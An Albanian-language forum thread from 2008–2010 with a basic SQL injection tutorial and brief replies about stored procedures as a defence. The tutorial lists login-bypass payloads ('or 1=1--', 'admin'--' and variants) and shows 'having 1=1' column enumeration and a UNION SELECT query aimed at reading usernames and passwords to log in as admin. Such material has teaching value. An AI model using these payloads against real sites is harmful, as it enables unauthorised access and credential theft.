Forumi Horizont Forumi Horizont > Shkenca > Informatikë & Programim > Tutorial > Sql injection bazat
  Tema e mëparshme   Tema Tjetër
Autori
Titulli Hap një temë të re    Përgjigju brenda kësaj teme
[^DANZEL^]
FlashcRew

Regjistruar: 04/06/2007
Vendbanimi: AL
Mesazhe: 24

Sql injection bazat

Tutorial: Sql injection bazat
Author: mix2mix
-----------------------------------
1° Intro
2° sql injection ?
3° Shembull sql inj 01
4° Emrat e te gjithave kampeve te pranishme
5° Si ti marrim informacionet
6° Si ta kerrkoj nje sql inj ?

__________________________________________________
_______________________



1) Intro

Te nderuar antar, tani ketu do tju tregoj se si te mbrohemi nga sql injection...
para te gjithave do tju tregojm se cka eshte nje sql injection..
ateher do te kalojm ne disa shembuj baze..
Buona lettura..

2) sql injection ?

Tani do tua jap nje spjegim shpejt e shpejt per sql injection...Ateher..
Per sql injection themi se eshte nje kalim i kodit sql qe nuk eshte i parapam
pej atij qe ka krijuar scriptin para atyj...
Zakonisht sql injection eshte e lejuashme prej grabimeve te kodeve...
qe mundesojn ekzekutimin e kodeve sql..
( sql injection e ashtu quajtura | injecioni i sql | )

3) Shembull Baze

Ateher si keni mire kuptuar qe sql injectio eshte armiku i php, asp, etj...
tani dote filloj te tregoj disa shembuj bazik..
Tani imagjinoni dy kampe (combo box)ku duhet futur username & password ne qoft
se scripti eshte jo i sigurt secili nga antaret mund te fus cfaredo
instukcioni sql.. do te shkruajm thjesht [ ' ] ose me mire apostrofin..
shikoni 2 shembuj te thiesht..
e para eshte ajo normale..( $sql )

SELECT * FROM user WHERE username= 'phpBB' AND password= 'shembull'

Gjersa kjo eshte ajo e " modifikuar "

SELECT * FROM user WHERE username= 'phpBB' OR 1=1--' AND password= 'shembull'

do te thot se pa asnje problem..
do te kyci (logohi). ne faqen e mbrojtur..
ose do te hyni si admin...
=> kjo natyrisht nvaret prej scriptit

Shifni disa sql inj bazike te perdorura:

**************************************************
******************************************

Username: Admin
Passw: ' or ''='

' or '1'='1

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or 'x'='x

' or 'x'='x

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

**************************************************
******************************************

4) Emri i gjitha kampeve prezent

Shikoni tani do tju tregoj se si ti kthejm
te gjith emrat e kampeve prezent...
Duhet te perdorim nje query si kjo ketu me poshte:

shembull:

SELECT * FROM Tabela_Juaj where USERID='' having 1=1

Se do te leshohet
do te shifni se serveri do tua kthej emrat e te gjithve
kampeve prezente ne tabel...


5) Si ti marrim informacionet

Ateher nje her mbas gjetjes se gjitha kampeve query
eshte leht te gjejm informacione te nevojshme :-D

shembull:

SELECT idutenti, login, Password from antari where login='
' union select 1,1,'cfare do vlere' from antari

kjo gjeneron nje gabim..
do te thot se jua kthen vleren kampeve login...

E njejta gje eshte edhe per password...
ne menyr qe mund te hyni si antari i zegjedhur nga ju..
si gjithmon eshte admini :-D


6) Si te gjejm nje sql inj ?

Shikoni !!
sikam shkruar me lart, si ta gjej nje sql inj ??
hmmm egzistojn menyra te ndryshme..
por me se pakti duhet te dim disa funkcione nga database MySQL
e natyrisht se cilin script doni te gjeni sql inj tuaj...
do te thot php, asp, etj..

Teknika me e shfrytezuar apo e perdor eshte te kontrollom kodin & e funkcionet e saj..
do te thot se eshte mire ta shkarkojm nje board ose nje guestbook..
te kapaciteteve te ulta
te ngarkoni ne ftp tuaj private
e te beni te gjitha provat e nevojshme..

Ose gjithashtu egzistojn software qe bejn gjithshka automatikisht, ose me mire
ju tregojn webin e bug-uar nga sql injection..
njeri nder me te miret ne cirkulim eshte "Acunetix Web Vulnerability Scanner "
edhe pse simbas mejet eshte me mire se te bejm ne gjithcka vecmas
sepse perndryshe nuk do te mesoni kurr gje...
e programi do te bej gjithcka vetem pa ju treguar arsyen dhe shkakun...
aeher ju rekomandoj te kuptoni mire para se te reagoni & ateher ndoshta
ta shfrytezoni kur keni pak kohe ose
kur do te keni nje njohur te avancuar ne kete kamp...

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 25 Dhjetor 2008 14:48
[^DANZEL^] nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të [^DANZEL^] Kliko këtu për të kontaktuar me [^DANZEL^] (me Mesazh Privat) Vizito faqen personale të [^DANZEL^]'t! Kërko mesazhe të tjera nga: [^DANZEL^] Shto [^DANZEL^] në listën e injorimit Printo vetëm këtë mesazh Shto [^DANZEL^] në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
lost_soul
going nowhere..

Regjistruar: 11/12/2005
Vendbanimi: orders of magnitude
Mesazhe: 2692

Menyra me e mire per t'u mbrojtur nga sql injections eshte te perdoresh stored procedures.
Vetem duhet patur kujdes qe tek stored procedures te mos perdoren teknikat e concatenate-imit te parametrave.

__________________
Walking the drunkard's walk...

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 12 Mars 2009 10:01
lost_soul nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të lost_soul Kliko këtu për të kontaktuar me lost_soul (me Mesazh Privat) Kërko mesazhe të tjera nga: lost_soul Shto lost_soul në listën e injorimit Printo vetëm këtë mesazh Shto lost_soul në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
Fajtori
Apo jo?

Regjistruar: 11/06/2002
Vendbanimi: Europe
Mesazhe: 10706

Cfare jane stored procedures?

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 12 Mars 2009 14:52
Fajtori nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të Fajtori Kliko këtu për të kontaktuar me Fajtori (me Mesazh Privat) Vizito faqen personale të Fajtori't! Kërko mesazhe të tjera nga: Fajtori Shto Fajtori në listën e injorimit Printo vetëm këtë mesazh Shto Fajtori në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
Lord_Of_The_Strings është moderator/e në këtë nën-forum   Lord_Of_The_Strings
Veterinary Psychiatrist

Regjistruar: 27/08/2004
Vendbanimi: Asgard
Mesazhe: 1568

Procedurat e ruajtura ose te depozituara.

__________________
I'm a Creationist, I believe man created God.

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 12 Mars 2009 18:04
Lord_Of_The_Strings nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të Lord_Of_The_Strings Kliko këtu për të kontaktuar me Lord_Of_The_Strings (me Mesazh Privat) Vizito faqen personale të Lord_Of_The_Strings't! Kërko mesazhe të tjera nga: Lord_Of_The_Strings Shto Lord_Of_The_Strings në listën e injorimit Printo vetëm këtë mesazh Shto Lord_Of_The_Strings në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
lost_soul
going nowhere..

Regjistruar: 11/12/2005
Vendbanimi: orders of magnitude
Mesazhe: 2692

Jane si pune funksionesh, por qe ruhen ne database, dhe mund te thirren nga nje program.
Pra ne vend t'i shkruash instruksionet sql direkt ne program, i shkruan ato neper stored procedures, dhe programi thjesht terret stored procedures duke i kaluar parametrat qe mund te nevojiten.
Konceptualisht jane identike me nje metode apo funksion te nje programi.

Me sa di une MySql i ka futur duke filluar nga versioni 5.

__________________
Walking the drunkard's walk...

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 12 Mars 2009 20:11
lost_soul nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të lost_soul Kliko këtu për të kontaktuar me lost_soul (me Mesazh Privat) Kërko mesazhe të tjera nga: lost_soul Shto lost_soul në listën e injorimit Printo vetëm këtë mesazh Shto lost_soul në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
Lord_Of_The_Strings është moderator/e në këtë nën-forum   Lord_Of_The_Strings
Veterinary Psychiatrist

Regjistruar: 27/08/2004
Vendbanimi: Asgard
Mesazhe: 1568

Ndersa une me siper bera nje perkthim bruto Anglisht Shqip se persa i perket SQL apo Injection Method, jam totalisht Kinez. Nuk marr vesh

__________________
I'm a Creationist, I believe man created God.

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 12 Mars 2009 21:19
Lord_Of_The_Strings nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të Lord_Of_The_Strings Kliko këtu për të kontaktuar me Lord_Of_The_Strings (me Mesazh Privat) Vizito faqen personale të Lord_Of_The_Strings't! Kërko mesazhe të tjera nga: Lord_Of_The_Strings Shto Lord_Of_The_Strings në listën e injorimit Printo vetëm këtë mesazh Shto Lord_Of_The_Strings në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
[^DANZEL^]
FlashcRew

Regjistruar: 04/06/2007
Vendbanimi: AL
Mesazhe: 24

Mund ti mbrohesh nga .htaccess

Denonco këtë mesazh tek moderatorët | IP: e regjistruar

Mesazh i vjetër 16 Mars 2010 23:35
[^DANZEL^] nuk po viziton aktualisht forumin Kliko këtu për Profilin Personal të [^DANZEL^] Kliko këtu për të kontaktuar me [^DANZEL^] (me Mesazh Privat) Vizito faqen personale të [^DANZEL^]'t! Kërko mesazhe të tjera nga: [^DANZEL^] Shto [^DANZEL^] në listën e injorimit Printo vetëm këtë mesazh Shto [^DANZEL^] në listën e monitorimit Ndrysho/Fshij Mesazhin Përgjigju Duke e Cituar
Ora tani: 03:37 Hap një temë të re    Përgjigju brenda kësaj teme
  Tema e mëparshme   Tema Tjetër

Forumi Horizont Forumi Horizont > Shkenca > Informatikë & Programim > Tutorial > Sql injection bazat

Përgatit Këtë Faqe Për Printim | Dërgoje Me Email | Abonohu Në Këtë Temë

Vlerëso këtë temë:

Mundësitë e Nën-Forumit:
Nuk mund të hapni tema
Nuk mund ti përgjigjeni temave
Nuk mund të bashkangjisni file
Nuk mund të modifikoni mesazhin tuaj
Kodet HTML lejohen
Kodet speciale lejohen
Ikonat lejohen
Kodet [IMG] lejohen
 

 

Kliko për tu larguar nese je identifikuar
Powered by: vBulletin © Jelsoft Enterprises Limited.
Materialet që gjenden tek Forumi Horizont janë kontribut i vizitorëve. Jeni të lutur të mos i kopjoni por ti bëni link adresën ku ndodhen.